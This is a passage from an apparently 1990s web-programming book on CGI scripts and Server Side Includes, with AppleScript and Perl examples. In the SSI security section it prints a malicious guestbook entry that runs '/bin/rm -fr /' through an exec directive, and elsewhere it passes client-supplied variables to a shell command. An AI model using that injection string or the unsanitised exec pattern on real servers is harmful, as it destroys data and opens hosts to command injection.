                    "Server: WebSTAR/1.0 ID/ACGI" & crlf & -
                    "MIME-Version: 1.0" & crlf & -
                       "Content-type: text/html" & -
                    crlf & crlf

The HTTP header that we will send to the server is defined. Notice that this is a complete response. The WebSTAR server requires that all CGI applications send a complete response. You might also be wondering why the regular newline character (\n) is not used to separate individual lines. The official HTTP specification requires that servers send "\r\n", but most UNIX browsers accept "\n", while WebSTAR does not.

on `event WWWsdoc' path_args -
    given `class post':post_args, `class add':client_address

As explained in Chapter 2, Input to the Common Gateway Interface, this construct is used to check for an AppleEvent from WebSTAR, and to set the appropriate variables. Not all the information sent with the AppleEvent is stored in variables, however, as this program does not require most of the information. The only data that we need is the form data--passed as "POST"--and the remote address of the client.

    set post_args_without_plus to dePlus post_args
    set decoded_post_args to Decode URL post_args_without_plus

All the "+" signs in the form data are converted to spaces using the dePlus osax (Open Scripting Architecture eXtension)--which is an external program written in a high-level language, such as C. Technically, you can also accomplish the task in AppleScript, but using an osax is more efficient. Also, the form data is decoded using the Decode URL osax, and stored in decoded_post_args.

    set name       to findNamedArgument(decoded_post_args, "name")
    set regular    to findNamedArgument(decoded_post_args, "regular")
    set why        to findNamedArgument(decoded_post_args, "why")
    set sports     to findNamedArgument(decoded_post_args, "sports")
    set interval   to findNamedArgument(decoded_post_args, "interval")

The findNamedArgument function retrieves the form information for a specific field. All of the fields that comprise the form are separated and stored.

    try
        set survey_file_handle to open file alias survey_file
        position file survey_file at (get file length survey_file)
    on error
        create file survey_file owner "ttxt"
        set survey_file_handle to open file alias survey_file
    end try

These statements set up an error handler. AppleScript will try to execute the commands in the first block, but if an error occurs, the commands in the next block will be executed. Initially, the program tries to open the data file and store the file handle in survey_file_handle. If it is successful, the position command places the pointer at the end of the file. On the other hand, if there is an error, a new file is created and opened. The owner of the new file is set to TeachText ("ttxt")--a simple Macintosh file editor--so that it can be read by any text editor.

    set survey_output to "Results from " & client_address & crlf & -
                         "-----< Start of Data >-----" & crlf & -
                         "Subject name: " & name & crlf & -
                         "Regular exercise: " & regular & crlf & -
                         "Reason for exercise: " & why & crlf & -
                         "Primarily participates in: " & -
                           sports & crlf & -
                         "Exercise frequency: " & interval & crlf & -
                         "-----< End of Data >-----" & crlf

The information that will be written to the data file is built, and stored in survey_output.

    write file survey_file_handle text survey_output
    close file survey_file_handle

The information is written to the file as text, and the file is closed.

    set thank_you to http_header & -
                "<TITLE>Thanks for filling out the survey!</TITLE>" & -
                "<H1>Thank You!</H1>" & "<HR>" & -
                "Thanks for taking the time to fill out the form." & -
                "We really appreciate it!"
    return thank_you
end `event WWWsdoc'

Finally, the return statement sends the thank-you message back to the client.

on findNamedArgument(theText, theArg)
    try
        set oldDelims to AppleScript's text item delimiters
        set AppleScript's text item delimiters to "&"
        set numItems to (count of text items in theText)

        repeat with textCount from 1 to numItems
            set thisItem to text item textCount of theText
            try
                set AppleScript's text item delimiters to "="
                            set argName to (first text item of thisItem)
                            if argName = theArg then
                    set resItem to (second text item of thisItem)
                    exit repeat
                            else
                                    set resItem to ""
                            end if
                            set AppleScript's text item delimiters to "&"
            on error
                            set AppleScript's text item delimiters to "&"
            end try
        end repeat

        set AppleScript's text item delimiters to oldDelims
    on error
        set AppleScript's text item delimiters to oldDelims
        set resItem to ""
    end try
    return resItem
end findNamedArgument

This function iterates through the form information and returns the value for a specified key. It was written by Maggie Burke (mburke@umassd.edu) from the Integrated Math Tools Project. Do not worry about how this works at this moment. Doesn't it look like English?

In reality, splitting a key-value pair using this function is not the most efficient way to accomplish the task; every time you call the function, it has to iterate through the information until it finds the specified key.

Previous | Home | Next
Designing Applications Using Forms in Perl | Book Index | Server Side Includes
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 5] Server Side Includes

CGI Programming on the World Wide Web

Previous Chapter 5 Next

5. Server Side Includes

Contents:
Introduction
Configuration
Environment Variables
Including Boilerplates
File Statistics
Executing External Programs
Executing CGI Programs
Tailoring SSI Output
Common Errors

5.1 Introduction

You're starting to get the hang of CGI, but aren't too thrilled with the fact that you have to write full-fledged CGI programs even when you want to output a document with only a minimum amount of dynamic information, right? For example, say you want to display the current date and time, or a certain CGI environment variable in your otherwise static document. You can go through the trouble of writing a CGI program that outputs this small amount of virtual data, or better yet, you can use a powerful feature called Server Side Includes (or SSI).

Server Side Includes are directives which you can place into your HTML documents to execute other programs or output such data as environment variables and file statistics. Unfortunately, not all servers support these directives; the CERN server cannot handle SSI, but the servers from NCSA and Netscape can. However, there is a CGI program called fakessi.pl that you can use to emulate Server Side Includes if your server does not support them.

While Server Side Includes technically are not really CGI, they can become an important tool for incorporating CGI-like information, as well as output from CGI programs, into documents on the Web.

How do Server Side Includes work? When the client requests a document from the SSI-enabled server, the server parses the specified document and returns the evaluated document (see Figure 5.1). The server does not automatically parse all files looking for SSI directives, but only ones that are configured as such. We will look at how to configure documents in the next section.

Figure 5.1: Server Side Includes

[Graphic: Figure 5-1]

SSI sounds like a great feature, but it does have its disadvantages. First, it can be quite costly for a server to continually parse documents before sending them to the client. And second, enabling SSI creates a security risk. Novice users could possibly embed directives to execute system commands that output confidential information. Despite these shortcomings, SSI can be a very powerful tool if used cautiously.

Table 5.1 lists all the SSI directives. In this chapter, I'll discuss each of these directives in detail.

Table 5.1: SSI Directives
Command | Parameter | Description
echo | var | Inserts value of special SSI variables as well as other environment variables
include |  | Inserts text of document into current file
 | file | Pathname relative to current directory
 | virtual | Virtual path to a document on the server
fsize | file | Inserts the size of a specified file
flastmod | file | Inserts the last modification date and time for a specified file
exec |  | Executes external programs and inserts output in current document
 | cmd | Any application on the host
 | cgi | CGI program
config |  | Modifies various aspects of SSI
 | errmsg | Default error message
 | sizefmt | Format for size of the file
 | timefmt | Format for dates

Previous | Home | Next
Decoding Forms in Other Languages | Book Index | Configuration
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 5] 5.2 Configuration

CGI Programming on the World Wide Web

Previous Chapter 5
Server Side Includes 		Next

5.2 Configuration

How does the server know which files to parse, and which ones to return without parsing? From the information in the server configuration files, of course. Let's look at how we can configure SSI on the NCSA server.

The first thing you need to set is the extension(s) for the files that the server should parse in the server configuration file (srm.conf). For example, the following line will force the server to parse all files that end in .shtml:

  AddType text/x-server-parsed-html .shtml

Internally, the server uses the text/x-server-parsed-html MIME content type to identify parsed documents. An important thing to note here is that you cannot have SSI directives within your CGI program, because the server does not parse the output generated by the program.

Alternatively, you can set the configuration so that the server parses all HTML documents:

AddType text/x-server-parsed-html .html

However, this is not a good idea! It will severely degrade system performance because the server has to parse all the HTML documents that it returns.

Now let's look at the two configuration options that you must set in the access configuration file (access.conf) that dictate what type of SSI directives you can place in your HTML document:

  • If you want to embed SSI directives to display the environment variables and file statistics in your HTML documents, you need to enable a feature called Includes.

  • If you want to have the ability to execute external programs (CGI as well as other system applications) from within your HTML documents, you need to enable the Exec feature.

Here is how you would enable both Includes and Exec:

Options Includes ExecCGI

To exclusively enable Includes without Exec, you need to add the following:

Options IncludesNoExec

Before enabling either of these features, you should think about system security and performance.

Configuring SSI for the CERN Server

As we mentioned at the beginning of this chapter, not all servers support SSI. However, you can use a Perl program called fakessi.pl to emulate SSI behavior.

For example, on the CERN server, all you need to do is:

  1. Install fakessi.pl into the cgi-bin directory.

  2. Add the following directive to httpd.conf:

Exec /*.shtml /usr/local/etc/httpd/cgi-bin/fakessi.pl

(assuming that /usr/local/etc/httpd/cgi-bin is the directory that fakessi.pl was installed into).

This tells the server to execute fakessi.pl whenever a client requests a file ending in .shtml.

You can get fakessi.pl from http://sw.cse.bris.ac.uk/WebTools/fakessi.html.

Previous | Home | Next
Introduction | Book Index | Environment Variables
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 5] 5.3 Environment Variables

CGI Programming on the World Wide Web

Previous Chapter 5
Server Side Includes 		Next

5.3 Environment Variables

As I mentioned before, you can insert the values of environment variables in an otherwise static HTML document. Here is an example of a document that contains a few SSI directives:

<HTML>
<HEAD><TITLE>Welcome!</TITLE></HEAD>
<BODY>
<H1>Welcome to my server at <!--#echo var="SERVER_NAME"-->...</H1>
<HR>
Dear user from <!--#echo var="REMOTE_HOST"-->,
<P>
There are many links to various CGI documents throughout the Web,
so feel free to explore.
    .
    .
    .
<HR>
<ADDRESS>Shishir Gundavaram (<!--#echo var="DATE_LOCAL"-->)</ADDRESS>
</BODY></HTML>

SSI directives have the following format:

<!--#command parameter="argument"-->

In this example, the echo SSI command with the var parameter is used to display the IP name or address of the serving machine, the remote host name, and the local time. Of course, we could have written a CGI program to perform the same function, but this approach is much quicker and easier, as you can see.

All environment variables that are available to CGI programs are also available to SSI directives. There are also a few variables that are exclusively available for use in SSI directives, such as DATE_LOCAL, which contains the current local time. Another is DATE_GMT:

The current GMT time is: <!--#echo var="DATE_GMT"-->

which contains the Greenwich Mean Time.

Here is another example that uses some of these exclusive SSI environment variables to output information about the current document:

<H2>File Summary</H2>
<HR>
The document you are viewing is titled:  <!--#echo var="DOCUMENT_NAME"-->,
and you can access it a later time by opening the URL to:
<!--#echo var="DOCUMENT_URI"-->. Please add this to your bookmark list.
<HR>
Document last modified on <!--#echo var="LAST_MODIFIED"-->.

This will display the name, URL (although the variable is titled DOCUMENT_URI), and modification time for the current HTML document.

For a listing of CGI environment variables, see Table 2.1. Table 5.2 shows additional SSI environment variables.

Table 5.2: Additional SSI Environment Variables
Environment Variable | Description
DOCUMENT_NAME | The current file
DOCUMENT_URI | Virtual path to the file
QUERY_STRING_UNESCAPED | Undecoded query string with all shell metacharacters escaped with "\"
DATE_LOCAL | Current date and time in the local time zone
DATE_GMT | Current date and time in GMT
LAST_MODIFIED | Last modification date and time for current file

Previous | Home | Next
Configuration | Book Index | Including Boilerplates
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 5] 5.4 Including Boilerplates

CGI Programming on the World Wide Web

Previous Chapter 5
Server Side Includes 		Next

5.4 Including Boilerplates

There are times when you will have certain information that you repeat in numerous documents on the server, like your signature, or a thank-you note. In cases like this, it's efficient to have that information stored in a file, and insert that file into your various HTML documents with the SSI include command. Suppose you have a signature file like the following stored in address.html:

<HR>
<ADDRESS>
<PRE>
Shishir Gundavaram              WWW Software, Inc.
White Street                    90 Sherman Street
Boston, Massachusetts 02115     Cambridge, Massachusetts 02140
shishir@bu.edu
The address information was last modified Friday, 22-Dec-95 12:43:00 EST.
</PRE>
</ADDRESS>

You can include the contents of this file in any other HTML document with the following command:

  <!--#include file="address.html"-->

This will include address.html located in the current directory into another document. You can also use the virtual parameter with the include command to insert a file from a directory relative to the server root:

<!--#include virtual="/public/address.html"-->

For our final example, let's include a boilerplate file that contains embedded SSI directives. Here is the address file (address.shtml) with an embedded echo command (note the .shtml extension):

<HR>
<ADDRESS>
<PRE>
Shishir Gundavaram              WWW Software, Inc.
White Street                    90 Sherman Street
Boston, Massachusetts 02115     Cambridge, Massachusetts 02140
shishir@bu.edu
The address information was last modified on  <!--#echo var="LAST_MODIFIED"-->.
</PRE>
</ADDRESS>

When you include this address file into an HTML document, it will contain your signature along with the date the file was last modified.

Previous | Home | Next
Environment Variables | Book Index | File Statistics
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 5] 5.5 File Statistics

CGI Programming on the World Wide Web

Previous Chapter 5
Server Side Includes 		Next

5.5 File Statistics

There are SSI directives that allow you to retrieve certain information about files located on your server. For example, say you have a hypertext link in one of your documents that points to a manual describing your software that users can download. In such a case, you should include the size and modification date of that manual so users can decide whether it's worth their effort to download a document; it could be outdated or just too large for them to download. Here's an example:

Here is the latest reference guide on CGI. You can download it
by clicking <A HREF="/cgi-refguide.ps">here</A>. The size of the file is
<!--#fsize file="/cgi-refguide.ps"--> bytes and was last modified
on <!--#flastmod file="/cgi-refguide.ps"-->.

The fsize command, along with its lone parameter, file, displays the size of the specified file (relative to the document root) in bytes. You can use the flastmod command to insert the modification date for a certain file. The difference between the SSI variable LAST_MODIFIED and this command is that flastmod allows you to choose any file, while LAST_MODIFIED displays the information for the current file. You have the option of tailoring the output from these commands with the config command. We will look at this later in the chapter.

Previous | Home | Next
Including Boilerplates | Book Index | Executing External Programs
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 5] 5.6 Executing External Programs

CGI Programming on the World Wide Web

Previous Chapter 5
Server Side Includes 		Next

5.6 Executing External Programs

Wouldn't it be great if we could execute either a CGI or a system program and place its output in our HTML document? With the SSI command exec, we can do just that using the exec cmd directive:

Welcome <!--#echo var="REMOTE_USER"-->. Here is some information about you:
<PRE>
<!--#exec cmd="/usr/ucb/finger $REMOTE_USER@$REMOTE_HOST"-->
</PRE>

In this example, we use the UNIX finger command to retrieve some information about the user. SSI allows us to pass command-line arguments to the external programs. If you plan to use environment variables as part of an argument, you have to precede them with a dollar sign. The reason for this is that the server spawns a shell to execute the command, and that's how you would access the environment variables if you were programming in a shell. Here is what the output will look like, assuming REMOTE_USER and REMOTE_HOST are "shishir" and "bu.edu", respectively:

Welcome shishir. Here is some information about you:
<PRE>
[bu.edu]
Trying 128.197.154.10...
Login name: shishir           In real life: Shishir Gundavaram
Directory: /usr3/shishir      Shell: /usr/local/bin/tcsh
Last login Thu Jun 23 08:18 on ttyq1 from nmrc.bu.edu:0.
New mail received Fri Dec 22 01:51:00 1995;
        unread since Thu Dec 21 17:38:02 1995
Plan:
Come on, aren't you done with the book yet?
</PRE>

You should enclose the output from an external command in a <PRE>..</PRE> block, so that whitespace is preserved. Also, if there is any HTML code within the data output by the external program, the browser will interpret it!

(To use the exec directive, remember that you need to enable Exec in the Options line of the access.conf file, as described in the "Configuration" seciton earlier in this chapter.)

Having the ability to execute external programs makes things easier, but it also poses a major security risk. Say you have a "guestbook" (a CGI application that allows visitors to leave messages for everyone to see) on a server that has SSI enabled. Most such guestbooks around the Net actually allow visitors to enter HTML code as part of their comments. Now, what happens if a malicious visitor decides to do some damage by entering the following:

<--#exec cmd="/bin/rm -fr /"-->

If the guestbook CGI program was designed carefully, to strip SSI commands from the input, then there is no problem. But, if it was not, there exists the potential for a major headache!

Previous | Home | Next
File Statistics | Book Index | Executing CGI Programs
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 5] 5.7 Executing CGI Programs

CGI Programming on the World Wide Web

Previous Chapter 5
Server Side Includes 		Next

5.7 Executing CGI Programs

You can use Server Side Includes to embed the results of an entire CGI program into a static HTML document, using the exec cgi directive.

Why would you want to do this? There are many times when you want to display just one piece of dynamic data, such as:

This page has been accessed 4883 times since December 10, 1995.

Surely, you've seen this type of information in many documents around the Web. Obviously, this information is being generated dynamically (since it changes every time you access the document). We'll show you a few examples of embedded CGI programs using SSI.

User Access Counter

Suppose you have a simple CGI program that keeps track of the number of visitors, called by the exec SSI command in an HTML document:

This page has been accessed <!--#exec cgi="/cgi-bin/counter.pl"--> times.

The idea behind an access counter is simple. A data file on the server contains a count of the number of visitors that have accessed a particular document. Whenever a user visits the document, the SSI command in that document calls a CGI program that reads the numerical value stored in the file, increments it, and writes the new information back to the file and outputs it. Let's look at the program:

#!/usr/local/bin/perl
print "Content-type: text/plain", "\n\n";
$count_file = "/usr/local/bin/httpd_1.4.2/count.txt";
if (open (FILE, "<" . $count_file)) {
        $no_accesses = <FILE>;
        close (FILE);
        if (open (FILE, ">" . $count_file)) {
            $no_accesses++;
            print FILE $no_accesses;
            close (FILE);
            print $no_accesses;
        } else {
            print "[ Can't write to the data file! Counter not incremented! ]", "\n";
        }
} else {
        print "[ Sorry! Can't read from the counter data file ]", "\n";
}
exit (0);

Since we are opening the data file from this program, we need the full path to the file. We can then proceed to try to read from the file. If the file cannot be opened, an error message is returned. Otherwise, we read one line from the file using the <FILE> notation, and store it in the variable $no_accesses. Then, the file is closed. This is very important because you cannot write to the file that was opened for reading.

Once that's done, the file is opened again, but this time in write mode, which creates a new file with no data. If that's not successful, probably due to permission problems, an error message stating that information cannot be written to the file is output. If there are no problems, we increment the value stored in $no_accesses. This new value is written to the file and printed to standard output.

Notice how this program, like other CGI programs we've covered up to this point, also outputs a Content-type HTTP header. In this case, a text/plain MIME content type is output by the program.

An important thing to note is that a CGI program called by an SSI directive cannot output anything other than text because this data is embedded within an HTML or plain document that invoked the directive. As a result, it doesn't matter whether you output a content type of text/plain or text/html, as the browser will interpret the data within the scope of the calling document. Needless to say, your CGI program cannot output graphic images or other binary data.

This CGI program is not as sophisticated as it should be. First, if the file does not exist, you will get an error if you open it in read mode. So, you must put some initial value in the file manually, and set permissions on the file so that the CGI program can write to it:

% echo "0" > /usr/local/bin/httpd_1.4.2/count.txt
% chmod 666 /usr/local/bin/httpd_1.4.2/count.txt

These shell commands write an initial value of "0" to the count.txt file, and set the permissions so that all processes can read from and write to the file. Remember, the HTTP server is usually run by a process with minimal privileges (e.g., "nobody" or "www"), so the permissions on the data file have to be set so that this process can read and write to it.

The other major problem with this CGI program is that it does not lock and unlock the counter data file. This is extremely important when you are dealing with concurrent users accessing your document at the same time. A good CGI program must try to lock a data file when in use, and unlock it after it is done with processing. A more advanced CGI program that outputs a graphic counter is presented in Chapter 6, Hypermedia Documents.

Random Links

You can use the following CGI program to create a "random" hypertext link. In other words, the link points to a different WWW site every time you reload.

Why do you want to do this? Well, for kicks. Also, if the sites are actually mirrors of each other, so it doesn't matter which one you refer people to. By changing the link each time, you're helping to spread out the traffic generated from your site.

Place the following line in your HTML document:

<!--#exec cgi="/cgi-bin/random.pl"-->

Here's the program:

#!/usr/local/bin/perl
@URL = ("http://www.ora.com",
        "http://www.digital.com",
        "http://www.ibm.com",
        "http://www.radius.com");
srand (time | $$);

The @URL array (or table) contains a list of the sites that the program will choose from. The srand function sets a seed based on the current time and the process identification for the random number generator. This ensures a truly random distribution.

$number_of_URL = scalar (@URL);
$random = int (rand ($number_of_URL));

The $number_of_URL contains the index (or position) of the last URL in the array. In Perl, arrays are zero-based, meaning that the first element has an index of zero. We then use the rand function to get a random number from 0 to the index number of the last URL in the array. In this case, the variable $random will contain a random integer from 0 to 3.

$random_URL = $URL[$random];
print "Content-type: text/html", "\n\n";
print qq|<A HREF="$random_URL">Click here for a random Web site!</A>|, "\n";
exit (0);

A random URL is retrieved from the array and displayed as a hypertext link. Users can simply click on the link to travel to a random location.

Before we finish, let's look at one final example: a CGI program that calculates the number of days until a certain event.

Counting Days Until . . .

Remember we talked about query strings as a way of passing information to a CGI program in Chapter 2? Unfortunately, you cannot pass query information as part of an SSI exec cgi directive. For example, you cannot do the following:

<!--#exec cgi="/cgi-bin/count_days.pl?4/1/96"-->

The server will return an error.[1]

[1] However, a CGI program called by the exec SSI directive from a static HTML document has access to the query string passed to this document. For example, if you access an HTML document in the following manner:

http://some.machine/test.html?name=john
and this document contains an SSI directive, then the CGI program can access the query string ("name=john") by reading the QUERY_STRING environment variable.

However, we can create a regular Perl program (not a CGI program) that takes a date as an argument, and calculates the number of days until/since that date:

<!--#exec cmd="/usr/local/bin/httpd_1.4.2/count_days.pl  4/1/96"-->

In the Perl script, we can access this command-line data (i.e., "4/1/96") through the @ARGV array. Now, the script:

#!/usr/local/bin/perl
require "timelocal.pl";
require "bigint.pl";

The require command makes the functions within these two default Perl libraries available to our program.

($chosen_date = $ARGV[0]) =~ s/\s*//g;

The variable $chosen_date contains the date passed to this program, minus any whitespace that may have been inserted accidentally.

if ($chosen_date =~ m|^(\d+)/(\d+)/(\d+)$|) {
    ($month, $day, $year) = ($1, $2, $3);

This is another example of a regular expression, or regexp. We use the regexp to make sure that the date passed to the program is in a valid format (i.e., mm/dd/yyyy). If it is valid, then $month, $day, and $year will contain the separated month, day, and year from the initial date.

    $month -= 1;
    if ($year > 1900) {
        $year -= 1900;
    }
    $chosen_secs = &timelocal (undef, undef, undef, $day, $month, $year);

We will use the timelocal subroutine (notice the & in front) to convert the specified date to the number of seconds since 1970. This subroutine expects month numbers to be in the range of 0--11 and years to be from 00--99. This conversion makes it easy for us to subtract dates. An important thing to remember is that this program will not calculate dates correctly if you pass in a date before 1970.

    $seconds_in_day = 60 * 60 * 24;
    $difference = &bsub ($chosen_secs, time);
    $no_days = &bdiv ($difference, $seconds_in_day);
    $no_days =~ s/^(\+|-)//;

The bsub subroutine subtracts the current time (in seconds since 1970) from the specified time. We used this subroutine because we are dealing with very large numbers, and a regular subtraction will give incorrect results. Then, we call the bdiv subroutine to calculate the number of days until/since the specified date by dividing the previously calculated difference with the number of seconds in a day. The bdiv subroutine prefixes the values with either a "+" or a "-" to indicate positive or negative values, respectively, so we remove the extra character.

    print $no_days;
    exit(0);

Once we're done with the calculations, we output the calculated value and exit.

} else {
    print " [Error in date format] ";
    exit(1);
}

If the date is not in a valid format, an error message is returned.

Previous | Home | Next
Executing External Programs | Book Index | Tailoring SSI Output
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 5] 5.8 Tailoring SSI Output

CGI Programming on the World Wide Web

Previous Chapter 5
Server Side Includes 		Next

5.8 Tailoring SSI Output

The config SSI command allows you to select the way error messages, file size information, and date and time are displayed. For example, if you use the include command to insert a non-existing file, the server will output a default error message like the following:

[an error occurred while processing this directive]

By using the config command, you can modify the default error message. If you want to set the message to "Error, contact shishir@bu.edu" you can use the following:

<!--#config errmsg="Error, contact shishir@bu.edu"-->

You can also set the file size format that the server uses when displaying information with the fsize command. For example, this command:

<!--#config sizefmt="abbrev"-->

will force the server to display the file size rounded to the nearest kilobyte (K). You can use the argument "bytes" to set the display as a byte count:

<!--#config sizefmt="bytes"-->

Here is how you can change the time format:

<!--#config timefmt="%D %r"-->
The file address.html was last modified on: <!--#flastmod file="address.html"-->.

The output will look like this:

The file address.html was last modified on: 12/23/95 07:17:39 PM

The %D format specifies that the date should be in mm/dd/yy format, while the %r format specifies "hh/mm/ss AM|PM" format. Table 5.3 lists all the data and time formats you can use.

Table 5.3: SSI Time Formats
Format | Value | Example
%a | Day of the week abbreviation | Sun
%A | Day of the week | Sunday
%b | Month name abbreviation (see %h) | Jan
%B | Month name | January
%d | Date | 01 (not 1)
%D | Date as "%m/%d/%y" | 06/23/95
%e | Date | 1
%H | 24-hour clock hour | 13
%I | 12-hour clock hour | 01
%j | Decimal day of the year | 360
%m | Month number | 11
%M | Minutes | 08
%p | AM | PM | AM
%r | Time as "%I:%M:%S %p" | 07:17:39 PM
%S | Seconds | 09
%T | 24-hour time as "%H:%M:%S" | 16:55:15
%U | Week of the year (also %W) | 49
%w | Day of the week number | 5
%y | Year of the century | 95
%Y | Year | 1995
%Z | Time zone | EST

Previous | Home | Next
Executing CGI Programs | Book Index | Common Errors
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 5] 5.9 Common Errors

CGI Programming on the World Wide Web

Previous Chapter 5
Server Side Includes 		Next

5.9 Common Errors

There are two common errors that you can make when using Server Side Includes. First, you should not forget the "#" sign:

<!--echo var="REMOTE_USER"-->

Second, do not add extra spaces between the "-" sign and the "#" character:

<!-- #echo var="REMOTE_USER"-->

If you make either of these two mistakes, the server will not give you an error; rather it will treat the whole expression as an HTML comment.

Previous | Home | Next
Tailoring SSI Output | Book Index | Hypermedia Documents
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 6] Hypermedia Documents

CGI Programming on the World Wide Web

Previous Chapter 6 Next

6. Hypermedia Documents

Contents:
Creating Dynamic Home Pages
CGI Examples with PostScript
The gd Graphics Library
CGI Examples with gnuplot
CGI Examples with pgperl
Animation

When you're looking around on the Web, going from site to site, you may have seen virtual documents that greet you, pages with graphics that are created "on the fly," or sizzling animations. These are all examples of graphic creation and manipulation using CGI. There are numerous tools and utilities that allow you to create documents such as these very quickly and easily.

6.1 Creating Dynamic Home Pages

What is a dynamic (or virtual) home page? It's a document that looks different when viewed at different times or by different people. For example, you may want to display a random fortune cookie when someone visits your home page. If you conduct business on the Web, you might want to use a dynamic document to advertise different products when someone accesses the document.

In order to set up a virtual home page, you have to modify certain configuration settings to ask the server to execute a CGI program instead of displaying a static HTML file. Normally, the NCSA server looks for the file index.html in the document root directory and displays it.

The following line when added to the server resource configuration file (srm.conf) forces the server to execute the CGI program index.html (a Perl program doesn't have to end with a .pl extension):

AddType application/x-httpd-cgi index.html

The AddType server directive was originally introduced in Chapter 1, The Common Gateway Interface. It allows you to execute CGI programs located outside the cgi-bin directory.

Under the CERN server, you can do something similar by adding the following line to httpd.conf:

Exec /index.html /usr/local/etc/httpd/cgi-bin/index.pl

Now, let's create a simple virtual home page that displays a greeting, based on the time of the access, and a message indicating whether the webmaster is currently logged in. Of course, this is a very simple example that illustrates the creation of a home page with dynamic information. You can also create a virtual home page using Server Side Includes, as shown in Chapter 5, Server Side Includes.

#!/usr/local/bin/perl
print "Content-type: text/html", "\n\n";
$webmaster = "shishir";
($seconds, $minutes, $hour) = localtime (time);

The localtime function takes the current time (in seconds since 1970) and returns a nine-element array consisting of the date and time for the current time zone. We will be using only the first three elements of the array, which contain the seconds, minutes, and hour values (in the military 24-hour format).

If your system's time zone is not configured properly, you will get the date and time for the Greenwich time zone (GMT). In such a case, you will need to use the TZ environment variable to set the proper time zone before you call the localtime function:

$ENV{'TZ'} = 'EST';

This sets your time zone to Eastern Standard Time (EST). You can see some of the other time zones by looking at the following document: http://wwwcrasys.anu.edu.au/reference/world.timezones.html

To return to the program:

if ( ($hour >= 23) || ($hour <= 6) ) {
        $greeting = "Wow, you are up late";
} elsif ( ($hour > 6) && ($hour < 12) ) {
        $greeting = "Good Morning";
} elsif ( ($hour >= 12) && ($hour <= 18) ) {
        $greeting = "Good Afternoon";
} else {
        $greeting = "Good Evening";
}

Since the localtime function returns the hour in a 24-hour format, we can use this to our advantage. It is much easier to select a greeting based on this format because the time scale is continuous from 0-23, and we don't have to worry about determining whether an hour value of "12" indicates 12:00 A.M. or 12:00 P.M.

if ($hour > 12) {
        $hour -= 12;
} elsif ($hour == 0) {
        hour = 12;
}
$time = sprintf ("%02d:%02d:%02d", $hour, $minutes, $seconds);

For display purposes, however, the hour is converted into the regular 12-hour format. The sprintf function formats a string according to the field specifiers. In this case, we want the hours, minutes, and seconds to be two digits in length, so a minute value of "9" will be displayed as "09". The formatted string is stored in the $time variable.

open(CHECK, "/usr/bin/w -h -s $webmaster |");
if (<CHECK> =~ /$webmaster/) {
        $in_out = "I am currently logged in.";
} else {
        $in_out = "I just stepped out.";
}

This open command might look strange to you if you're new to Perl. Instead of opening a file, it opens a pipe for input. In other words, Perl executes the UNIX program /usr/bin/w and redirects its output to the file handle CHECK. As you'll see throughout the book, this technique allows us to communicate with other utilities and programs by sending and receiving data through a pipe.

We pass the value stored in $webmaster as the argument to /usr/bin/w, which returns all of the system processes "owned" by $webmaster. We don't really need to know much about the processes. The only thing we're concerned about is whether any processes for $webmaster exist, indicating that he/she is logged in. Depending on this, the $in_out variable is set to a specific message.

  close (CHECK);

Once we're done, we close the file handle. It's a good practice to clean up all resources when you're done with them. Now, we're ready to output the information that we've gathered so far.

Instead of using a print statement to send each line to standard output, we'll use a "here" document. What is that, you may ask? See for yourself:

print <<End_of_Homepage;

This statement outputs everything below it to standard output until it reaches the string "End_of_Homepage." This saves us from typing print before each line that we want to output.

Since we output a MIME content type of text/html, we need to output some HTML information:

<HTML>
<HEAD><TITLE>Welcome to my home page</TITLE></HEAD>
<BODY>
$greeting! It is $time. Here are some of my favorite links:
.
. (some information)
.
<ADDRESS>
Shishir Gundavaram ($in_out)
</ADDRESS>
</BODY></HTML>
End_of_Homepage
exit(0);

The whole point of this exercise is that you can "embed" another language (like HTML) into a CGI script. But the variables from the enclosing script can be used within the HTML--Perl substitutes the right value for each variable. That's what makes this page dynamic rather than static. An important thing to note about "here" documents is that they follow the same conventions as the regular print statement, in that Perl will evaluate only variables, and not function calls and other expressions.

In this program, we output a MIME content type of text/html and followed that with the HTML code. But we're not limited to just creating dynamic HTML documents; we can create dynamic graphics as well, as we'll see next.

Previous | Home | Next
Common Errors | Book Index | CGI Examples with PostScript
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 6] 6.2 CGI Examples with PostScript

CGI Programming on the World Wide Web

Previous Chapter 6
Hypermedia Documents 		Next

6.2 CGI Examples with PostScript

PostScript is a language for laying out nicely designed pages with all kinds of fonts, pictures, and other things that HTML is not capable of displaying. PostScript on the screen often looks exactly like a page from a book or journal. The language is device independent, so it can be printed or displayed on any device that interprets it. Since most Web browsers don't handle PostScript code, it has to be run through an interpreter to produce an image that browsers can handle. Let's look at some examples that illustrate this concept.

Digital Clock

In this example, we'll write PostScript code to create a virtual image of a digital clock displaying the current time. Since Web browsers can't display PostScript graphics, we will run this code through a PostScript interpreter, GNU GhostScript (freely available for many platforms), to create a GIF image which the browsers can easily handle. You should be conservative when creating dynamic graphics in this manner because GhostScript uses up a lot of system resources. If used wisely, however, these dynamic images can add a lot to your documents.

You can get GhostScript from the following location: http://www.phys.ufl.edu/ docs/goodies/unix/previewers/ghostscript.html.

Let's take a step-by-step look at this Perl script, which creates an image of a digital clock where the letters are red (Times Roman 14 point font) and the background is black.

#!/usr/local/bin/perl
$GS = "/usr/local/bin/gs";
$| = 1;
print "Content-type: image/gif", "\n\n";

